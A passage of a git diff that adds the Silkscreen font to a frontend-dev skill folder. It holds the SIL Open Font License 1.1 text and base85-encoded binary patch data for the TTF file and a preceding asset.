zDJf*M+}Lx5$K%@A;9KUhcen<Z*L6EOoq=JOr)qzD>sWnHL-(qd$z-(WvX`}%+ndbI zU9|{|+T9+n&$~JpT&>U8&{V$xa!?^ZmU!1aiM~Wfb`~c(SaPhex2_K#=CcDMBiKW3 zd#sK>7jABO>|gi}HD_Mno&)Nc2zOe^si=$P2R>X_s*4#y(<R#~-RtXoOP!ks9R20q z41PuUTgi?k<()g~nkSMsS3B(${ncHovT`!`rk1~D>;0QsI(Ie@c2#0`K1CH>3wT3a zj%j0>(ZJ^}mO_GrJhbApuBBIOa;-9#m2_BocGW5NJ@p-@G&b+<3yxV6{KI}vpVKvv zwCeiN*>7&iGt_2g_g%KtTU$HY(zdIS9}arj$7-GZRaL#Dk+3cl@2x}f%y8JEIs7!f zA-sYAE&NsGjF#Htr-PGypotaZN#B!)>yy@z#K{X?o$3&tWEYGa`N)S~Ts>2viat-% zK>b)t>$dv-=H3mhdwZOn4ve(Seaow=mit7WT(iE;+3Qc%uL;U`6oYH@`q9?9^)>uP za~<}_l$K(bOr1G=o2{+9yv-(aqA$(9a^)FGUm598y#sPcgW^i`1M?3bQ^WvMm<Zo{ zC;DE#*|{3@?KJo7!WtlkzPi9rpsL^LTB<xF37nrx1ipO4TU)oarF~~(_|%}MV_U7W z&qD-OF_CgW?v4~~#z=t(hmrb+m9;<uxCd)7_hr6l_OH937t>zkH0vp-_6hhFTA!@s zMqzaebDDPS$nR}w;r)Y%7^IgweAsdn6q8bLwqR<CN?~<Yisxqny(LGcGt-L=S!P2~ zp1;Ty%qduTLAXF#^S8a5<1&Wd4sR*jqt8#z%uCHN=j3@T23y_${=*I|Z{c&KR;z%K z7O~!J`oe?SF2`awDA&4npPv>H)EE!k{KY!6`KD9CBa52oD8K*y@{aM--V+ta(ac1> zPhnNy#s838hk7IPR9GyLPZ!Pa<cNGI^u&fQZ*d#5Z8-&IQ$dj-&uGlW&VZ7f+9Fqd zX<>=AnHv}3bhFi(k(Qg4mE$mEW#*>pE!o*Fi@~CcHy2pl;n9VdD(uF&e`B#eD%M!4 zJ%n)wm1EZ}+$GmVD?+ZC8kf`WkKeX@`8G=Kp62ErN;JNYB3pv5>|>r{<v`=d4I8IS zyrQVm68;L6xCPk_XbqH}`Lv<E`?7)@1l*iO#l_8Le|wQ-`~lm!`DLI$X1=AMu+C-l zn6_6?Z5IRgt5KUhMh^Zb`lc+YGZuLB%iJz&X_2YiVa#{smlTG~{toPdt6CCYY0J(u z6%>>>%y^wAGrP=?AE+pDChDA~N(`eSqD~K?kE+CuWfQ*Yhu^EKsQCVsYs%mFb;X)< z?;;#;29CF(e9<BtY3RXW79A;DTDs)7*X0+x4K{4H$g*ae5?=jgT&bm@b4k3_k*O~) zDY5Aik{+nomDX5Q(*iv1M7<BA?_xg-q@7qxs)AYW=BF`4D?*fjDm)lkxv}3}o|9=y z_cvw+OKRG>oATZI1h3UpQ5nCff7Q-hXJT@HTW)@RRdw6Lxj9as!&prFaBf9M?v>*@ zlSSWS)I9smS9t2zcuj>p{5;tacLSRTflWR<uhl~O0-uw~-dL`}TP`$OGG61V@2@Zy zSxiB*IcPE$n=ASnN*s<7N@Z15Wk~UL&XTIcL}yW9MP6P-AqFL}s>E6M6H{KEiPGI= zg@t95K%H*^pQj?!fn)_O;Bk<eQob$>{Lns7RNHrlR&E$LkvcjbQHPJllBdD#4b77W zo~0Y{zmk7fc?zCrS`=>r<WcxRmf$-?I{eQH5^@V5H;6JfsgR5D)YSrVvkJKyWgZew z(LAAgZbq5g1cb(bAa?@tuz2b=6>=+{x>uCBU4`6@G7pL}H0d@Gx8VQ8cvyK-a?9tU lhxxPUp*;EN^gv`GSxM&`@HPSDy!cW=GWNZTZyhl9{{YO=Ly-Ug literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Silkscreen-OFL.txt b/skills/frontend-dev/canvas-fonts/Silkscreen-OFL.txt new file mode 100644 index 0000000..a1fe7d5 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Silkscreen-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Silkscreen-Regular.ttf b/skills/frontend-dev/canvas-fonts/Silkscreen-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..8abaa7c500d4555073f9e303ec2e5e343d3b8f3f GIT binary patch literal 31960 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 